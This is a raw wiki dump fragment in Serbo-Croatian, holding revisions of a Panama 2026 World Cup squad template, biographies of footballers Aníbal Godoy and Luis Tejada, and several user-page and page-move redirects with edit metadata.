*[http://www.bcuchargers.com/HallOfFame/3.php Briar Cliff Chargers Athletic Hall of Fame] *[https://www.thedraftreview.com/index.php?option=com_content&view=article&id=4948:rolando-frazer&catid=93&Itemid=342 TheDraftReview.com profile] *[https://www.si.com/vault/1981/02/02/825313/pride-of-the-panama-pipeline-imported-players-like-rolando-frazer-have-made-briar-cliff-an-naia-power Sports Illustrated PRIDE OF THE PANAMA PIPELINE] {{FIBA Svjetsko prvenstvo MVP}} {{Najbolji strijelci FIBA Svjetskih prvenstava}} {{Authority control}} {{Životni vijek|1958||Frazer, Rolando}} [[Kategorija:Panamski košarkaši]] [[Kategorija:Košarkaški centri]] [[Kategorija:Krilni centri]] pv4t16599dzi36dj6ff6dtfpk8cobqw 10 4722565 42602553 2026-05-27T14:12:29Z Edgar Allan Poe 29250 Nova stranica: {{National squad no numbers | name = Sastav Panama 2026 SP | bg = red | fg = white | bordercolor= #072357 | country = Panama | genitiv = Paname | comp link = FIFA Svjetsko prvenstvo 2026. | comp = FIFA Svjetskom prvenstvu 2026. | pos1 = GK | p1 = [[Luis Mejía|Mejía]] | pos2 = GK | p2 = [[Orlando Mosquera|Mosquera]] | pos3 = GK | p3 = [[César Samudio|Samudio]] | pos4 = DF | p4... 42602553 wikitext text/x-wiki {{National squad no numbers | name = Sastav Panama 2026 SP | bg = red | fg = white | bordercolor= #072357 | country = Panama | genitiv = Paname | comp link = FIFA Svjetsko prvenstvo 2026. | comp = FIFA Svjetskom prvenstvu 2026. | pos1 = GK | p1 = [[Luis Mejía|Mejía]] | pos2 = GK | p2 = [[Orlando Mosquera|Mosquera]] | pos3 = GK | p3 = [[César Samudio|Samudio]] | pos4 = DF | p4 = [[Eric Davis (panamski fudbaler)|Davis]] | pos5 = DF | p5 = [[Fidel Escobar|Escobar]] | pos6 = DF | p6 = [[Michael Amir Murillo|Murillo]] | pos7 = DF | p7 = [[Roderick Miller (fudbaler)|Miller]] | pos8 = DF | p8 = [[Andrés Andrade (fudbaler, rođen 1998.)|Andrade]] | pos9 = DF | p9 = [[César Blackman|Blackman]] | pos10 = DF | p10 = [[José Córdoba|Córdoba]] | pos11 = DF | p11 = [[Jiovany Ramos|Ramos]] | pos12 = DF | p12 = [[Jorge Gutiérrez (fudbaler)|Gutiérrez]] | pos13 = DF | p13 = [[Edgardo Fariña|Fariña]] | pos14 = MF | p14 = [[Aníbal Godoy|Godoy]]&nbsp;(c) | pos15 = MF | p15 = [[Alberto Quintero (fudbaler)|Quintero]] | pos16 = MF | p16 = [[Yoel Bárcenas|Bárcenas]] | pos17 = MF | p17 = [[Adalberto Carrasquilla|Carrasquilla]] | pos18 = MF | p18 = [[José Luis Rodríguez (fudbaler, rođen 1998.)|J. Rodríguez]] | pos19 = MF | p19 = [[Cristian Martínez (panamski fudbaler)|Martínez]] | pos20 = MF | p20 = [[César Yanis|Yanis]] | pos21 = MF | p21 = [[Carlos Harvey|Harvey]] | pos22 = MF | p22 = [[Azarias Londoño|Londoño]] | pos23 = FW | p23 = [[José Fajardo (fudbaler)|Fajardo]] | pos24 = FW | p24 = [[Ismael Díaz (fudbaler, born 1997)|Díaz]] | pos25 = FW | p25 = [[Cecilio Waterman|Waterman]] | pos26 = FW | p26 = [[Tomás Rodríguez (fudbaler)|T. Rodríguez]] | coach = [[Thomas Christiansen|Christiansen]] }}<noinclude> [[Kategorija:Šabloni sastava fudbalskih reprezentacija na FIFA Svjetskom prvenstvu 2026.|Panama]] [[Kategorija:Panamski šabloni]] </noinclude> fjve1m9tpllx47flo9jtqzyqj3fg4l5 14 4722566 42602554 2026-05-27T14:12:51Z Edgar Allan Poe 29250 Nova stranica: [[Kategorija:Šabloni sastava fudbalskih reprezentacija na SP|2026.]] 42602554 wikitext text/x-wiki [[Kategorija:Šabloni sastava fudbalskih reprezentacija na SP|2026.]] 98ifi92tkd6hg2lwz96icmwrh2dszmt 0 4722567 42602557 2026-05-27T14:24:24Z Edgar Allan Poe 29250 Nova stranica: {{Infokutija nogometaš | imenogometaša = Aníbal Godoy | slika = ENG-PAN (15) (cropped).jpg | slika_širina = | punoime = Aníbal Casis Godoy Lemus | nadimak = | datumrođenja = {{Datum rođenja i dob|1990|2|10|hr=da}} | rodnigrad = {{flagicon|PAN}} [[Ciudad de Panamá]] | rodnadržava = [[Panama]] | datumsmrti = | gradsmrti... 42602557 wikitext text/x-wiki {{Infokutija nogometaš | imenogometaša = Aníbal Godoy | slika = ENG-PAN (15) (cropped).jpg | slika_širina = | punoime = Aníbal Casis Godoy Lemus | nadimak = | datumrođenja = {{Datum rođenja i dob|1990|2|10|hr=da}} | rodnigrad = {{flagicon|PAN}} [[Ciudad de Panamá]] | rodnadržava = [[Panama]] | datumsmrti = | gradsmrti = | državasmrti = | nacionalnost = [[Panamci|Panamac]] | državljanstvo = {{flagicon|PAN}} [[Panama|panamsko]]<br>{{flagicon|SAD}} [[SAD|američko]] {{small|(od 2025.)}} | visina = 1.83 m | pozicija = defenzivni vezni | trenutniklub = | brojnadresu = | datumimjestodebija = | omladinskegodine = | omladinskipogoni = | godine1 = 2007 – 2013 | klubovi1 = {{flagicon|PAN}} [[Chepo F.C.|Chepo]] | nastupi(golovi)1 = 113 (10) | godine2 = 2012 | klubovi2 = → {{flagicon|ARG}} [[Godoy Cruz Antonio Tomba|Godoy Cruz]] | nastupi(golovi)2 = 0 (0) | godine3 = 2013 – 2015 | klubovi3 = {{flagicon|MAĐ}} [[Kispest Honvéd FC|Honvéd]] | nastupi(golovi)3 = 24 (0) | godine4 = 2015 – 2019 | klubovi4 = {{nowrap|{{flagicon|SAD}} [[San Jose Earthquakes]]}} | nastupi(golovi)4 = 101 (5) | godine5 = 2020 – 2024 | klubovi5 = {{flagicon|SAD}} [[Nashville SC|Nashville]] | nastupi(golovi)5 = 111 (3) | godine6 = 2025 – | klubovi6 = {{flagicon|SAD}} [[San Diego FC|San Diego]] | nastupi(golovi)6 = 39 (1) | godine7 = | klubovi7 = | nastupi(golovi)7 = | godine8 = | klubovi8 = | nastupi(golovi)8 = | godine9 = | klubovi9 = | nastupi(golovi)9 = | godine10 = | klubovi10 = | nastupi(golovi)10 = | godine11 = | klubovi11 = | nastupi(golovi)11 = | godine12 = | klubovi12 = | nastupi(golovi)12 = | godine13 = | klubovi13 = | nastupi(golovi)13 = | godine14 = | klubovi14 = | nastupi(golovi)14 = | godine15 = | klubovi15 = | nastupi(golovi)15 = | reprezentacija = | nacionalnegodine1 = 2010 – | nacionalneekipe1 = {{NogRep|PAN}} | nacionalninastupi(golovi)1 = 159 (4) | nacionalnegodine2 = | nacionalneekipe2 = | nacionalninastupi(golovi)2 = | nacionalnegodine3 = | nacionalneekipe3 = | nacionalninastupi(golovi)3 = | nacionalnegodine4 = | nacionalneekipe4 = | nacionalninastupi(golovi)4 = | trenergodine = | trenerklubovi = | zadnjiuređaj = 27.5.2026 }} '''Aníbal Casis Godoy Lemus''' ({{IPA-es|aˈniβal ɣoˈðoj|lang}}; [[Ciudad de Panamá]], [[10. veljače]] [[1990.]]), [[Panama|panamski]] nogometaš i reprezentativac koji igra kao defenzivni vezni. Većinu klupske karijere proveo je u [[Sjeverna Amerika|Sjevernoj Americi]], a trenutno igra za [[San Diego FC]]; od [[2025.]] godine ima i [[SAD|američko]] državljanstvo. Trenutni je kaptean [[Fudbalska reprezentacija Paname|reprezentacije Paname]], za koju je debitirao [[2010.]] godine. Nastupio je na [[FIFA Svjetsko prvenstvo 2018.|FIFA Svjetskom prvenstvu 2018.]] godine, što je bio debitantski nastup Paname na tom natjecanju. Sa 159 nastupa, rekorder je po broju nastupa za reprezentaciju. {{Sastav Panama 2018 SP}} {{Sastav Panama 2026 SP}} {{Authority control}} {{Životni vijek|1990||Godoy, Aníbal}} c8gded7u0cci0yot4bada9zenp092a1 42602558 42602557 2026-05-27T14:24:54Z Edgar Allan Poe 29250 +[[Kategorija:Panamski fudbaleri]]; +[[Kategorija:Američki fudbaleri]] pomoću gadgeta [[Wikipedia:HotCat|HotCat]] 42602558 wikitext text/x-wiki {{Infokutija nogometaš | imenogometaša = Aníbal Godoy | slika = ENG-PAN (15) (cropped).jpg | slika_širina = | punoime = Aníbal Casis Godoy Lemus | nadimak = | datumrođenja = {{Datum rođenja i dob|1990|2|10|hr=da}} | rodnigrad = {{flagicon|PAN}} [[Ciudad de Panamá]] | rodnadržava = [[Panama]] | datumsmrti = | gradsmrti = | državasmrti = | nacionalnost = [[Panamci|Panamac]] | državljanstvo = {{flagicon|PAN}} [[Panama|panamsko]]<br>{{flagicon|SAD}} [[SAD|američko]] {{small|(od 2025.)}} | visina = 1.83 m | pozicija = defenzivni vezni | trenutniklub = | brojnadresu = | datumimjestodebija = | omladinskegodine = | omladinskipogoni = | godine1 = 2007 – 2013 | klubovi1 = {{flagicon|PAN}} [[Chepo F.C.|Chepo]] | nastupi(golovi)1 = 113 (10) | godine2 = 2012 | klubovi2 = → {{flagicon|ARG}} [[Godoy Cruz Antonio Tomba|Godoy Cruz]] | nastupi(golovi)2 = 0 (0) | godine3 = 2013 – 2015 | klubovi3 = {{flagicon|MAĐ}} [[Kispest Honvéd FC|Honvéd]] | nastupi(golovi)3 = 24 (0) | godine4 = 2015 – 2019 | klubovi4 = {{nowrap|{{flagicon|SAD}} [[San Jose Earthquakes]]}} | nastupi(golovi)4 = 101 (5) | godine5 = 2020 – 2024 | klubovi5 = {{flagicon|SAD}} [[Nashville SC|Nashville]] | nastupi(golovi)5 = 111 (3) | godine6 = 2025 – | klubovi6 = {{flagicon|SAD}} [[San Diego FC|San Diego]] | nastupi(golovi)6 = 39 (1) | godine7 = | klubovi7 = | nastupi(golovi)7 = | godine8 = | klubovi8 = | nastupi(golovi)8 = | godine9 = | klubovi9 = | nastupi(golovi)9 = | godine10 = | klubovi10 = | nastupi(golovi)10 = | godine11 = | klubovi11 = | nastupi(golovi)11 = | godine12 = | klubovi12 = | nastupi(golovi)12 = | godine13 = | klubovi13 = | nastupi(golovi)13 = | godine14 = | klubovi14 = | nastupi(golovi)14 = | godine15 = | klubovi15 = | nastupi(golovi)15 = | reprezentacija = | nacionalnegodine1 = 2010 – | nacionalneekipe1 = {{NogRep|PAN}} | nacionalninastupi(golovi)1 = 159 (4) | nacionalnegodine2 = | nacionalneekipe2 = | nacionalninastupi(golovi)2 = | nacionalnegodine3 = | nacionalneekipe3 = | nacionalninastupi(golovi)3 = | nacionalnegodine4 = | nacionalneekipe4 = | nacionalninastupi(golovi)4 = | trenergodine = | trenerklubovi = | zadnjiuređaj = 27.5.2026 }} '''Aníbal Casis Godoy Lemus''' ({{IPA-es|aˈniβal ɣoˈðoj|lang}}; [[Ciudad de Panamá]], [[10. veljače]] [[1990.]]), [[Panama|panamski]] nogometaš i reprezentativac koji igra kao defenzivni vezni. Većinu klupske karijere proveo je u [[Sjeverna Amerika|Sjevernoj Americi]], a trenutno igra za [[San Diego FC]]; od [[2025.]] godine ima i [[SAD|američko]] državljanstvo. Trenutni je kaptean [[Fudbalska reprezentacija Paname|reprezentacije Paname]], za koju je debitirao [[2010.]] godine. Nastupio je na [[FIFA Svjetsko prvenstvo 2018.|FIFA Svjetskom prvenstvu 2018.]] godine, što je bio debitantski nastup Paname na tom natjecanju. Sa 159 nastupa, rekorder je po broju nastupa za reprezentaciju. {{Sastav Panama 2018 SP}} {{Sastav Panama 2026 SP}} {{Authority control}} {{Životni vijek|1990||Godoy, Aníbal}} [[Kategorija:Panamski fudbaleri]] [[Kategorija:Američki fudbaleri]] mos1jmsryl2cpjsys1rmuwv77w0ohcv 42602559 42602558 2026-05-27T14:38:47Z Edgar Allan Poe 29250 42602559 wikitext text/x-wiki {{Infokutija nogometaš | imenogometaša = Aníbal Godoy | slika = ENG-PAN (15) (cropped).jpg | slika_širina = | punoime = Aníbal Casis Godoy Lemus | nadimak = | datumrođenja = {{Datum rođenja i dob|1990|2|10|hr=da}} | rodnigrad = {{flagicon|PAN}} [[Ciudad de Panamá]] | rodnadržava = [[Panama]] | datumsmrti = | gradsmrti = | državasmrti = | nacionalnost = [[Panamci|Panamac]] | državljanstvo = {{flagicon|PAN}} [[Panama|panamsko]]<br>{{flagicon|SAD}} [[SAD|američko]] {{small|(od 2025.)}} | visina = 1.83 m | pozicija = defenzivni vezni | trenutniklub = {{flagicon|SAD}} [[San Diego FC|San Diego]] | brojnadresu = 20 | datumimjestodebija = | omladinskegodine = | omladinskipogoni = | godine1 = 2007 – 2013 | klubovi1 = {{flagicon|PAN}} [[Chepo F.C.|Chepo]] | nastupi(golovi)1 = 113 (10) | godine2 = 2012 | klubovi2 = → {{flagicon|ARG}} [[Godoy Cruz Antonio Tomba|Godoy Cruz]] | nastupi(golovi)2 = 0 (0) | godine3 = 2013 – 2015 | klubovi3 = {{flagicon|MAĐ}} [[Kispest Honvéd FC|Honvéd]] | nastupi(golovi)3 = 24 (0) | godine4 = 2015 – 2019 | klubovi4 = {{nowrap|{{flagicon|SAD}} [[San Jose Earthquakes]]}} | nastupi(golovi)4 = 101 (5) | godine5 = 2020 – 2024 | klubovi5 = {{flagicon|SAD}} [[Nashville SC|Nashville]] | nastupi(golovi)5 = 111 (3) | godine6 = 2025 – | klubovi6 = {{flagicon|SAD}} [[San Diego FC|San Diego]] | nastupi(golovi)6 = 39 (1) | godine7 = | klubovi7 = | nastupi(golovi)7 = | godine8 = | klubovi8 = | nastupi(golovi)8 = | godine9 = | klubovi9 = | nastupi(golovi)9 = | godine10 = | klubovi10 = | nastupi(golovi)10 = | godine11 = | klubovi11 = | nastupi(golovi)11 = | godine12 = | klubovi12 = | nastupi(golovi)12 = | godine13 = | klubovi13 = | nastupi(golovi)13 = | godine14 = | klubovi14 = | nastupi(golovi)14 = | godine15 = | klubovi15 = | nastupi(golovi)15 = | reprezentacija = | nacionalnegodine1 = 2010 – | nacionalneekipe1 = {{NogRep|PAN}} | nacionalninastupi(golovi)1 = 159 (4) | nacionalnegodine2 = | nacionalneekipe2 = | nacionalninastupi(golovi)2 = | nacionalnegodine3 = | nacionalneekipe3 = | nacionalninastupi(golovi)3 = | nacionalnegodine4 = | nacionalneekipe4 = | nacionalninastupi(golovi)4 = | trenergodine = | trenerklubovi = | zadnjiuređaj = 27.5.2026 }} '''Aníbal Casis Godoy Lemus''' ({{IPA-es|aˈniβal ɣoˈðoj|lang}}; [[Ciudad de Panamá]], [[10. veljače]] [[1990.]]), [[Panama|panamski]] nogometaš i reprezentativac koji igra kao defenzivni vezni. Većinu klupske karijere proveo je u [[Sjeverna Amerika|Sjevernoj Americi]], a trenutno igra za [[San Diego FC]]; od [[2025.]] godine ima i [[SAD|američko]] državljanstvo. Trenutni je kaptean [[Fudbalska reprezentacija Paname|reprezentacije Paname]], za koju je debitirao [[2010.]] godine. Nastupio je na [[FIFA Svjetsko prvenstvo 2018.|FIFA Svjetskom prvenstvu 2018.]] godine, što je bio debitantski nastup Paname na tom natjecanju. Sa 159 nastupa, rekorder je po broju nastupa za reprezentaciju. {{Sastav Panama 2018 SP}} {{Sastav Panama 2026 SP}} {{Authority control}} {{Životni vijek|1990||Godoy, Aníbal}} [[Kategorija:Panamski fudbaleri]] [[Kategorija:Američki fudbaleri]] 3qnkq14xwrgnty2vrpzyj90dh2m9lky 0 4722568 42602564 2026-05-27T15:21:30Z Edgar Allan Poe 29250 Nova stranica: {{Infokutija nogometaš | imenogometaša = Luis Tejada | slika = PAN-TUN (28) (cropped).jpg | slika_širina = | punoime = Luis Carlos Tejada Hansell | nadimak = | datumrođenja = [[28. ožujka]] [[1982.]] | rodnigrad = {{flagicon|PAN}} [[Ciudad de Panamá]] | rodnadržava = [[Panama]] | datumsmrti = {{Datum smrti i dob|2024|1|28|1982|3|28... 42602564 wikitext text/x-wiki {{Infokutija nogometaš | imenogometaša = Luis Tejada | slika = PAN-TUN (28) (cropped).jpg | slika_širina = | punoime = Luis Carlos Tejada Hansell | nadimak = | datumrođenja = [[28. ožujka]] [[1982.]] | rodnigrad = {{flagicon|PAN}} [[Ciudad de Panamá]] | rodnadržava = [[Panama]] | datumsmrti = {{Datum smrti i dob|2024|1|28|1982|3|28|hr=da}} | gradsmrti = {{flagicon|PAN}} [[Omar Torrijos (Panama)|Omar Torrijos]] | državasmrti = [[Panama]] | nacionalnost = | državljanstvo = | visina = 1.83 m | pozicija = napadač | trenutniklub = | brojnadresu = | datumimjestodebija = | omladinskegodine = | omladinskipogoni = | godine1 = 2001 | klubovi1 = {{flagicon|PAN}} [[Tauro FC|Tauro]] | nastupi(golovi)1 = 26 (9) | godine2 = 2002 | klubovi2 = {{flagicon|PAN}} [[C.D. Plaza Amador|Plaza Amador]] | nastupi(golovi)2 = 27 (14) | godine3 = 2003 | klubovi3 = {{flagicon|KOL}} [[Deportes Tolima]] | nastupi(golovi)3 = 2 (0) | godine4 = 2004 | klubovi4 = {{flagicon|KOL}} [[Envigado F.C.|Envigado]] | nastupi(golovi)4 = 22 (8) | godine5 = 2005 | klubovi5 = {{flagicon|UAE}} [[Al-Ain (fudbalski klub, UAE)|Al-Ain]] | nastupi(golovi)5 = 15 (4) | godine6 = 2005 – 2006 | klubovi6 = {{flagicon|PAN}} [[C.D. Plaza Amador|Plaza Amador]] | nastupi(golovi)6 = 30 (19) | godine7 = 2006 | klubovi7 = {{flagicon|KOL}} [[Once Caldas]] | nastupi(golovi)7 = 3 (0) | godine8 = 2007 | klubovi8 = {{flagicon|SAD}} [[Real Salt Lake]] | nastupi(golovi)8 = 1 (0) | godine9 = 2007 | klubovi9 = {{flagicon|PAN}} [[Tauro FC|Tauro]] | nastupi(golovi)9 = 4 (4) | godine10 = 2007 – 2008 | klubovi10 = {{flagicon|KOL}} [[América de Cali|América Cali]] | nastupi(golovi)10 = 30 (16) | godine11 = 2008 – 2009 | klubovi11 = {{flagicon|KOL}} [[Millonarios F.C.|Millonarios]] | nastupi(golovi)11 = 25 (1) | godine12 = 2009 | klubovi12 = {{flagicon|PAN}} [[Tauro FC|Tauro]] | nastupi(golovi)12 = 30 (4) | godine13 = 2010 –2012 | klubovi13 = {{flagicon|PER}} [[Juan Aurich]] | nastupi(golovi)13 = 96 (48) | godine14 = 2012 – 2013 | klubovi14 = {{flagicon|MEX}} [[Deportivo Toluca FC|Deportivo Toluca]] | nastupi(golovi)14 = 30 (7) | godine15 = 2013 | klubovi15 = → {{flagicon|MEX}} [[C.D. Veracruz|Veracruz]] | nastupi(golovi)15 = 12 (2) | godine16 = 2014 | klubovi16 = {{nowrap|{{flagicon|PER}} [[Club Deportivo Universidad César Vallejo|Universidad César Vallejo]]}} | nastupi(golovi)16 = 26 (11) | godine17 = {{nowrap|2015 – 2016&nbsp;}} | klubovi17 = {{flagicon|PER}} [[Juan Aurich]] | nastupi(golovi)17 = 58 (39) | godine18 = 2017 | klubovi18 = {{flagicon|PER}} [[Club Universitario de Deportes|Universitario]] | nastupi(golovi)18 = 37 (18) | godine19 = 2018 | klubovi19 = {{flagicon|PER}} [[Sport Boys]] | nastupi(golovi)19 = 30 (16) | godine20 = 2019 | klubovi20 = {{flagicon|PER}} [[Pirata FC|Pirata]] | nastupi(golovi)20 = 25 (6) | godine21 = 2020 | klubovi21 = {{flagicon|PAN}} [[Club Deportivo Universitario|Universitario]] | nastupi(golovi)21 = 6 (1) | godine22 = 2020 | klubovi22 = {{flagicon|PAN}} [[C.D. Plaza Amador|Plaza Amador]] | nastupi(golovi)22 = 8 (2) | godine23 = 2021 | klubovi23 = {{flagicon|PAN}} [[Herrera Fútbol Club|Herrera]] | nastupi(golovi)23 = 31 (10) | godine24 = 2022 | klubovi24 = {{flagicon|PAN}} [[San Francisco F.C.|San Francisco]] | nastupi(golovi)24 = 6 (1) | godine25 = 2022 | klubovi25 = {{flagicon|PAN}} [[Potros del Este|Deportivo del Este]] | nastupi(golovi)25 = 8 (1) | reprezentacija = da | nacionalnegodine1 = 2001 – 2018 | nacionalneekipe1 = {{NogRep|PAN}} | nacionalninastupi(golovi)1 = 108 (43) | nacionalnegodine2 = | nacionalneekipe2 = | nacionalninastupi(golovi)2 = | nacionalnegodine3 = | nacionalneekipe3 = | nacionalninastupi(golovi)3 = | nacionalnegodine4 = | nacionalneekipe4 = | nacionalninastupi(golovi)4 = | trenergodine = | trenerklubovi = | zadnjiuređaj = 27.5.2026 }} '''Luis Carlos Tejada Hansell''' ([[Ciudad de Panamá]], [[28. ožujka]] [[1982.]] – [[Omar Torrijos (Panama)|Omar Torrijos]], [[28. siječnja]] [[2024.]]), poznat po nadimku "'''Matador'''", bio je [[Panama|panamski]] nogometaš i reprezentativac koji je igrao na poziciji napadača. Poznat kao "putnik", Tejada je tijekom karijere promijenio više od 15 različitih klubova te se uglavnom nije zadržavao ni u jednom klubu dulje od jedne sezone. Bio je dio [[Fudbalska reprezentacija Paname|panamske reprezentacije]] na njihovom debiju na [[FIFA Svjetsko prvenstvo 2018.|FIFA Svjetskom prvenstvu 2018.]] godine, a umirovio se [[2022.]] godine. S 43 gola (iz 108 nastupa), Tejada je najbolji strijelac u historiji panamske reprezentacije. Preminuo je [[28. siječnja]] [[2024.]] godine dok je igrao nogomet na ulici, vjerojatno od srčanog udara. {{Sastav Panama 2018 SP}} {{Authority control}} {{Životni vijek|1982|2024|Tejada, Luis}} h1sjtzxngfq9m5wmg46tqvq1qyxrrn2 42602565 42602564 2026-05-27T15:21:53Z Edgar Allan Poe 29250 dodana kategorija [[:Kategorija:Panamski fudbaleri|Panamski fudbaleri]] pomoću gadgeta [[Wikipedia:HotCat|HotCat]] 42602565 wikitext text/x-wiki {{Infokutija nogometaš | imenogometaša = Luis Tejada | slika = PAN-TUN (28) (cropped).jpg | slika_širina = | punoime = Luis Carlos Tejada Hansell | nadimak = | datumrođenja = [[28. ožujka]] [[1982.]] | rodnigrad = {{flagicon|PAN}} [[Ciudad de Panamá]] | rodnadržava = [[Panama]] | datumsmrti = {{Datum smrti i dob|2024|1|28|1982|3|28|hr=da}} | gradsmrti = {{flagicon|PAN}} [[Omar Torrijos (Panama)|Omar Torrijos]] | državasmrti = [[Panama]] | nacionalnost = | državljanstvo = | visina = 1.83 m | pozicija = napadač | trenutniklub = | brojnadresu = | datumimjestodebija = | omladinskegodine = | omladinskipogoni = | godine1 = 2001 | klubovi1 = {{flagicon|PAN}} [[Tauro FC|Tauro]] | nastupi(golovi)1 = 26 (9) | godine2 = 2002 | klubovi2 = {{flagicon|PAN}} [[C.D. Plaza Amador|Plaza Amador]] | nastupi(golovi)2 = 27 (14) | godine3 = 2003 | klubovi3 = {{flagicon|KOL}} [[Deportes Tolima]] | nastupi(golovi)3 = 2 (0) | godine4 = 2004 | klubovi4 = {{flagicon|KOL}} [[Envigado F.C.|Envigado]] | nastupi(golovi)4 = 22 (8) | godine5 = 2005 | klubovi5 = {{flagicon|UAE}} [[Al-Ain (fudbalski klub, UAE)|Al-Ain]] | nastupi(golovi)5 = 15 (4) | godine6 = 2005 – 2006 | klubovi6 = {{flagicon|PAN}} [[C.D. Plaza Amador|Plaza Amador]] | nastupi(golovi)6 = 30 (19) | godine7 = 2006 | klubovi7 = {{flagicon|KOL}} [[Once Caldas]] | nastupi(golovi)7 = 3 (0) | godine8 = 2007 | klubovi8 = {{flagicon|SAD}} [[Real Salt Lake]] | nastupi(golovi)8 = 1 (0) | godine9 = 2007 | klubovi9 = {{flagicon|PAN}} [[Tauro FC|Tauro]] | nastupi(golovi)9 = 4 (4) | godine10 = 2007 – 2008 | klubovi10 = {{flagicon|KOL}} [[América de Cali|América Cali]] | nastupi(golovi)10 = 30 (16) | godine11 = 2008 – 2009 | klubovi11 = {{flagicon|KOL}} [[Millonarios F.C.|Millonarios]] | nastupi(golovi)11 = 25 (1) | godine12 = 2009 | klubovi12 = {{flagicon|PAN}} [[Tauro FC|Tauro]] | nastupi(golovi)12 = 30 (4) | godine13 = 2010 –2012 | klubovi13 = {{flagicon|PER}} [[Juan Aurich]] | nastupi(golovi)13 = 96 (48) | godine14 = 2012 – 2013 | klubovi14 = {{flagicon|MEX}} [[Deportivo Toluca FC|Deportivo Toluca]] | nastupi(golovi)14 = 30 (7) | godine15 = 2013 | klubovi15 = → {{flagicon|MEX}} [[C.D. Veracruz|Veracruz]] | nastupi(golovi)15 = 12 (2) | godine16 = 2014 | klubovi16 = {{nowrap|{{flagicon|PER}} [[Club Deportivo Universidad César Vallejo|Universidad César Vallejo]]}} | nastupi(golovi)16 = 26 (11) | godine17 = {{nowrap|2015 – 2016&nbsp;}} | klubovi17 = {{flagicon|PER}} [[Juan Aurich]] | nastupi(golovi)17 = 58 (39) | godine18 = 2017 | klubovi18 = {{flagicon|PER}} [[Club Universitario de Deportes|Universitario]] | nastupi(golovi)18 = 37 (18) | godine19 = 2018 | klubovi19 = {{flagicon|PER}} [[Sport Boys]] | nastupi(golovi)19 = 30 (16) | godine20 = 2019 | klubovi20 = {{flagicon|PER}} [[Pirata FC|Pirata]] | nastupi(golovi)20 = 25 (6) | godine21 = 2020 | klubovi21 = {{flagicon|PAN}} [[Club Deportivo Universitario|Universitario]] | nastupi(golovi)21 = 6 (1) | godine22 = 2020 | klubovi22 = {{flagicon|PAN}} [[C.D. Plaza Amador|Plaza Amador]] | nastupi(golovi)22 = 8 (2) | godine23 = 2021 | klubovi23 = {{flagicon|PAN}} [[Herrera Fútbol Club|Herrera]] | nastupi(golovi)23 = 31 (10) | godine24 = 2022 | klubovi24 = {{flagicon|PAN}} [[San Francisco F.C.|San Francisco]] | nastupi(golovi)24 = 6 (1) | godine25 = 2022 | klubovi25 = {{flagicon|PAN}} [[Potros del Este|Deportivo del Este]] | nastupi(golovi)25 = 8 (1) | reprezentacija = da | nacionalnegodine1 = 2001 – 2018 | nacionalneekipe1 = {{NogRep|PAN}} | nacionalninastupi(golovi)1 = 108 (43) | nacionalnegodine2 = | nacionalneekipe2 = | nacionalninastupi(golovi)2 = | nacionalnegodine3 = | nacionalneekipe3 = | nacionalninastupi(golovi)3 = | nacionalnegodine4 = | nacionalneekipe4 = | nacionalninastupi(golovi)4 = | trenergodine = | trenerklubovi = | zadnjiuređaj = 27.5.2026 }} '''Luis Carlos Tejada Hansell''' ([[Ciudad de Panamá]], [[28. ožujka]] [[1982.]] – [[Omar Torrijos (Panama)|Omar Torrijos]], [[28. siječnja]] [[2024.]]), poznat po nadimku "'''Matador'''", bio je [[Panama|panamski]] nogometaš i reprezentativac koji je igrao na poziciji napadača. Poznat kao "putnik", Tejada je tijekom karijere promijenio više od 15 različitih klubova te se uglavnom nije zadržavao ni u jednom klubu dulje od jedne sezone. Bio je dio [[Fudbalska reprezentacija Paname|panamske reprezentacije]] na njihovom debiju na [[FIFA Svjetsko prvenstvo 2018.|FIFA Svjetskom prvenstvu 2018.]] godine, a umirovio se [[2022.]] godine. S 43 gola (iz 108 nastupa), Tejada je najbolji strijelac u historiji panamske reprezentacije. Preminuo je [[28. siječnja]] [[2024.]] godine dok je igrao nogomet na ulici, vjerojatno od srčanog udara. {{Sastav Panama 2018 SP}} {{Authority control}} {{Životni vijek|1982|2024|Tejada, Luis}} [[Kategorija:Panamski fudbaleri]] rghsduqybztelxfg7jznmdq8jlq2n22 2 4722570 42602583 2026-05-27T17:52:07Z Fertile Snowcent 268167 ? 42602583 wikitext text/x-wiki <nowiki>~~~</nowiki> aa1is2ysjuqpljt0vmod2p4v7nl8f77 42602585 42602583 2026-05-27T17:53:18Z Fertile Snowcent 268167 42602585 wikitext text/x-wiki <nowiki>~~~</nowiki> [[Korisnik:Fertile Snowcent|Čirppyöššä]] ([[Razgovor s korisnikom:Fertile Snowcent|razgovor]]) 27. maja 2026. u 19:53 (CEST) s8mfdx5v1ytes77cx1feqjjbkmrjf1h 2 4722571 42602613 2026-05-27T21:58:55Z Little Sunshine 346946 Little Sunshine premješta stranicu [[Korisnik:SpunkyLepton]] na [[Korisnik:SparkyLepton]]: Automatsko premještanje stranice zbog preimenovanja korisnika "[[Special:CentralAuth/SpunkyLepton|SpunkyLepton]]" u "[[Special:CentralAuth/SparkyLepton|SparkyLepton]]" 42602613 wikitext text/x-wiki #PREUSMJERI [[Korisnik:SparkyLepton]] 8fmwc9jln0nlf3cxxmnrjttboyqrlfu 3 4722572 42602615 2026-05-27T21:58:55Z Little Sunshine 346946 Little Sunshine premješta stranicu [[Razgovor s korisnikom:SpunkyLepton]] na [[Razgovor s korisnikom:SparkyLepton]]: Automatsko premještanje stranice zbog preimenovanja korisnika "[[Special:CentralAuth/SpunkyLepton|SpunkyLepton]]" u "[[Special:CentralAuth/SparkyLepton|SparkyLepton]]" 42602615 wikitext text/x-wiki #PREUSMJERI [[Razgovor s korisnikom:SparkyLepton]] ae2ri3wf1bpm570i8y650v5ekbo38i1 0 4722573 42602663 2026-05-28T04:33:45Z Akul59 131397 Akul59 premješta stranicu [[Mnjišek na Hnjiljecu]] na [[Mníšek nad Hnilcom]] 42602663 wikitext text/x-wiki #PREUSMJERI [[Mníšek nad Hnilcom]] 9i14vqcfptl5885ga708qzo198zfenn 1 4722574 42602665 2026-05-28T04:33:45Z Akul59 131397 Akul59 premješta stranicu [[Razgovor:Mnjišek na Hnjiljecu]] na [[Razgovor:Mníšek nad Hnilcom]] 42602665 wikitext text/x-wiki #PREUSMJERI [[Razgovor:Mníšek nad Hnilcom]] syeblh7qquutfgn59i2w31x2nqegs4m 0 4722575 42602670 2026-05-28T04:53:09Z Akul59 131397 Akul59 premješta stranicu [[Naljepkovo]] na [[Nálepkovo]] 42602670 wikitext text/x-wiki #PREUSMJERI [[Nálepkovo]] qkr11aot77otj8n1yvs96j1vo0p78hn 1 4722576 42602672 2026-05-28T04:53:09Z Akul59 131397 Akul59 premješta stranicu [[Razgovor:Naljepkovo]] na [[Razgovor:Nálepkovo]] 42602672 wikitext 